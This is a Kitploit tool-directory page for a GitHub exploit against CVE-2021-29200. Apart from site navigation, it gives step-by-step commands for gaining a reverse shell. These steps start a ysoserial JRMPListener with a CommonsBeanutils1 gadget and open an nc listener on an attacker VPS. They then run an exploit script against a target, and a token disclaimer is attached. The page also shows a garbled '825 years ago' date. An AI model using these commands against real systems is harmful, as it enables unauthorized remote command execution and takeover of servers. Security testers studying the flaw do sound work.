Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-29200 — Exploit for CVE-2021-29200 enabling remote command execution via RMI deserialization attack with JRMP listener and reverse shell payload delivery. | Kitploit
Tools/GitHubGitHub/freeide/cve-2021-29200
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubfreeide/cve-2021-29200

CVE-2021-29200

Exploit for CVE-2021-29200 enabling remote command execution via RMI deserialization attack with JRMP listener and reverse shell payload delivery.

View Repository
825 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-29200

CVE-2021-29200 EXP can successfully get a reverse shell

This article and tool are for technical sharing only. Strictly prohibited for illegal use. Any consequences arising from misuse shall be borne by the user.

Trigger Command Execution EXP

1. Start RMI listener on VPS port 9999

root@kitploit:~
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '[command to execute]'

2. Start nc listener on VPS port

8443
root@kitploit:~
nc -lvp 8443

3. Execute the Python script

root@kitploit:~
python3 cve-2021-29200_exp.py <target> <vps_ip> <vps_port>

Example

1620729375025

Download Tool